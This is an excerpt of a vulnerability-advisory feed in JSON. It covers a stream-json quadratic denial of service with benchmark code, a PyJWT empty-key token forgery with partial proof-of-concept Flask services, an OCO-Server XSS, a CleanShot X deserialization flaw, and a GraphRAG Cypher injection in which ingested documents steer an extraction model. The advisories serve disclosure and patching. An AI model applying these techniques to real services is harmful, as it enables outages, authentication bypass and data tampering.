'stream-json/utils/flex-assembler.js';\n\nfunction run(filter, D) {\n const asm = new FlexAssembler(filter ? {objectRules: [{filter, create: () => ({})}]} : undefined);\n const t = performance.now();\n asm.startObject();\n for (let i = 0; i p.length > 0, D).toFixed(1), 'ms');\n```\n\n```text\nstring filter (path.join per token): function filter (negative control, no join):\n D=4000 91.9 ms D=4000 1.6 ms\n D=8000 341.9 ms D=8000 0.9 ms\n D=16000 1359.2 ms (~4x per doubling) D=16000 1.7 ms (flat)\n D=32000 5430.0 ms (= O(D^2)) D=32000 2.6 ms\n```\n\nEnd to end through a real `parserStream`, roughly 96 KB (depth 16000) of attacker-supplied JSON stalls the event loop for over 1.3 seconds.\n\n## Attack Chain\n\n1. **Exposure:** The attacker supplies JSON bytes to a service pipeline that assembles values with a `FlexAssembler` configured with a string or RegExp rule filter; `FlexAssembler` is a documented submodule of the published package on both the Node and Web Streams surfaces.\n2. **Control:** The attacker controls the JSON bytes and therefore the nesting depth D, which directly controls the key stack length.\n3. **Path:** Each `{` or `[` emits `startObject`/`startArray`, which push onto `keyStack` and call `_matchRule`, which calls the compiled filter with the current key stack.\n4. **Guard:** There is no depth or size cap on this path; the only `maxDepth` guard in the package lives in the filter base state machine and never runs in `FlexAssembler`.\n5. **Primitive:** For each of the D container starts, the compiled string/RegExp filter runs an O(D) `join` before any match decision, for O(D^2) total CPU.\n6. **Result:** The single-threaded event loop stalls, denying service to all concurrent work on the process; a small input scales quadratically to sustained unavailability.\n\n## Bypass Evidence\n\nThis is a novel finding on a code path that no prior fix protects, so there is no guard to bypass on the `FlexAssembler` path. The relevant prior fix is the `maxDepth` cap published as part of the remediation for CVE-2026-71429 (GHSA-528h-pc64-c93x), which addressed the analogous O(depth^2) behavior in the `pick`/`ignore`/`filter`/`replace` filters. That fix was placed only in `src/core/filters/filter-base.js`; `src/core/utils/flex-assembler.js` neither imports nor invokes it, so the guard never executes here. A search for `maxDepth` across `src/` returns on\n\nAffected package ranges reported by GitHub:\nstream-json: >= 2.0.0, <= 3.6.0","action":"GitHub lists first patched versions: stream-json: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:49:54.000Z","updatedAt":"2026-10-22T15:49:55.000Z","regions":["Global"],"vendor":null,"product":"stream-json","stacks":["JavaScript packages (npm)","stream-json","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-jj87-hc4r-jwfw","asOf":"2026-10-22T15:49:55.000Z"},"epss":{"probability":0.00186,"percentile":0.0815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jj87-hc4r-jwfw","url":"https://github.com/advisories/GHSA-jj87-hc4r-jwfw","type":"primary","publishedAt":"2026-10-22T15:49:54.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jj87-hc4r-jwfw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-pxh4-856f-4h89","cveId":null,"aliases":[],"kind":"vulnerability","title":"PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery","summary":"`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.","detail":"### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) ` bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -> bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved\n`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -> `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -> \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -> k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\nd\n\nAffected package ranges reported by GitHub:\npyjwt: <= 2.13.0","action":"GitHub lists first patched versions: pyjwt: 2.14.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:48:04.000Z","updatedAt":"2026-10-22T15:48:05.000Z","regions":["Global"],"vendor":null,"product":"pyjwt","stacks":["Python packages (PyPI)","pyjwt","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-pxh4-856f-4h89","asOf":"2026-10-22T15:48:05.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pxh4-856f-4h89","url":"https://github.com/advisories/GHSA-pxh4-856f-4h89","type":"primary","publishedAt":"2026-10-22T15:48:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-pxh4-856f-4h89, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61791","cveId":"CVE-2026-61791","aliases":[],"kind":"vulnerability","title":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management.","summary":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.1, `Html::commandButton()` in `lib/Html.class.php` embeds an action URL containing a stored computer hostname into a JavaScript string in an inline `onclick` handler, using `htmlspecialchars(ENT_QUOTES)` only for HTML escaping. Browsers decode the HTML entities before interpreting the handler as JavaScript, allowing a crafted hostname to escape the string and execute script in an administrator's authenticated session when an affected command button is activated. `frontend/views/computer-details.php` passes `$computer->hostname` to this helper using `Computer::DEFAULT_COMPUTER_COMMANDS` in `lib/Models/Computer.class.php`, whose VNC, RDP, SSH, and Ping entries use `new_tab=false` and the vulnerable `window.location` branch. A remote attacker who possesses the shared `agent-registration-key` can use the `oco.agent.hello` handler in `frontend/api-agent.php` to store an unchecked hostname when `agent-self-registration-enabled` is enabled; self-registration is disabled by default. The vulnerable default command buttons require no custom command configuration. The injected script can abuse the administrator's privileges, including permission to deploy software jobs to managed computers. This issue is fixed in version 1.2.1.","detail":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.1, `Html::commandButton()` in `lib/Html.class.php` embeds an action URL containing a stored computer hostname into a JavaScript string in an inline `onclick` handler, using `htmlspecialchars(ENT_QUOTES)` only for HTML escaping. Browsers decode the HTML entities before interpreting the handler as JavaScript, allowing a crafted hostname to escape the string and execute script in an administrator's authenticated session when an affected command button is activated. `frontend/views/computer-details.php` passes `$computer->hostname` to this helper using `Computer::DEFAULT_COMPUTER_COMMANDS` in `lib/Models/Computer.class.php`, whose VNC, RDP, SSH, and Ping entries use `new_tab=false` and the vulnerable `window.location` branch. A remote attacker who possesses the shared `agent-registration-key` can use the `oco.agent.hello` handler in `frontend/api-agent.php` to store an unchecked hostname when `agent-self-registration-enabled` is enabled; self-registration is disabled by default. The vulnerable default command buttons require no custom command configuration. The injected script can abuse the administrator's privileges, including permission to deploy software jobs to managed computers. This issue is fixed in version 1.2.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T15:17:05.980Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61791","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00287,"percentile":0.21044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61791","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61791","type":"primary","publishedAt":"2026-10-22T15:17:05.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16477","cveId":"CVE-2026-16477","aliases":[],"kind":"vulnerability","title":"CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations).","summary":"CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations). Exploitation requires an attacker to craft a malicious .cleanshot file, deliver it to the target, and have the target open it; the payload then executes automatically during parsing, resulting in arbitrary code execution in the context of the current user. Users who have never opened a .cleanshot file from an untrusted source are not affected by this vulnerability. This vulnerability was fixed in versions: 4.5.2, 4.6.3, 4.7.8 and 4.8.10","detail":"CleanShot X for macOS insecurely deserializes untrusted data embedded in a .cleanshot project file (editable screenshot annotations). Exploitation requires an attacker to craft a malicious .cleanshot file, deliver it to the target, and have the target open it; the payload then executes automatically during parsing, resulting in arbitrary code execution in the context of the current user. Users who have never opened a .cleanshot file from an untrusted source are not affected by this vulnerability. This vulnerability was fixed in versions: 4.5.2, 4.6.3, 4.7.8 and 4.8.10\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T15:17:05.817Z","updatedAt":"2026-10-22T19:17:50.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apple macOS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16477","asOf":"2026-10-22T19:17:50.770Z"},"epss":{"probability":0.00287,"percentile":0.21083,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16477","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16477","type":"primary","publishedAt":"2026-10-22T15:17:05.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16477, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114510","cveId":"CVE-2026-114510","aliases":[],"kind":"vulnerability","title":"Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends.","summary":"Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. From 0.6.0 until 0.8.2, the _escape() helper in flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py escapes quotes before backslashes and then interpolates the result into Cypher assembled by FalkorDBAdapter.add_graph_documents, allowing an inserted escape to be doubled and a quote to terminate the string early. When GRAPH_BACKEND=langchain and GRAPH_DB=falkordb are configured, attacker-influenced ingested document content can cause the extraction model to produce malicious entity or relationship values that reach these queries, allowing injected Cypher clauses to modify or delete graph data and, when the calling code surfaces query results to the user or LLM, disclose graph data. Dynamic node and relationship type identifiers are also inserted into backtick-quoted query positions without safe parameterization. The LlamaIndex FalkorDB store is not affected. This issue is fixed in version 0.8.2.","detail":"Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. From 0.6.0 until 0.8.2, the _escape() helper in flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py escapes quotes before backslashes and then interpolates the result into Cypher assembled by FalkorDBAdapter.add_graph_documents, allowing an inserted escape to be doubled and a quote to terminate the string early. When GRAPH_BACKEND=langchain and GRAPH_DB=falkordb are configured, attacker-influenced ingested document content can cause the extraction model to produce malicious entity or relationship values that reach these queries, allowing injected Cypher clauses to modify or delete graph data and, when the calling code surfaces query results to the user or LLM, disclose graph data. Dynamic node and relationship type identifiers are also inserted into backtick-quoted query positions without safe parameterization. The LlamaIndex FalkorDB store is not affected. This issue is fixed in version 0.8.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T15:17:05.500Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114510","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.00241,"percentile":0.15023,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114510","type":"primary","publishedAt":"2026-10-22T15:17:05.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE 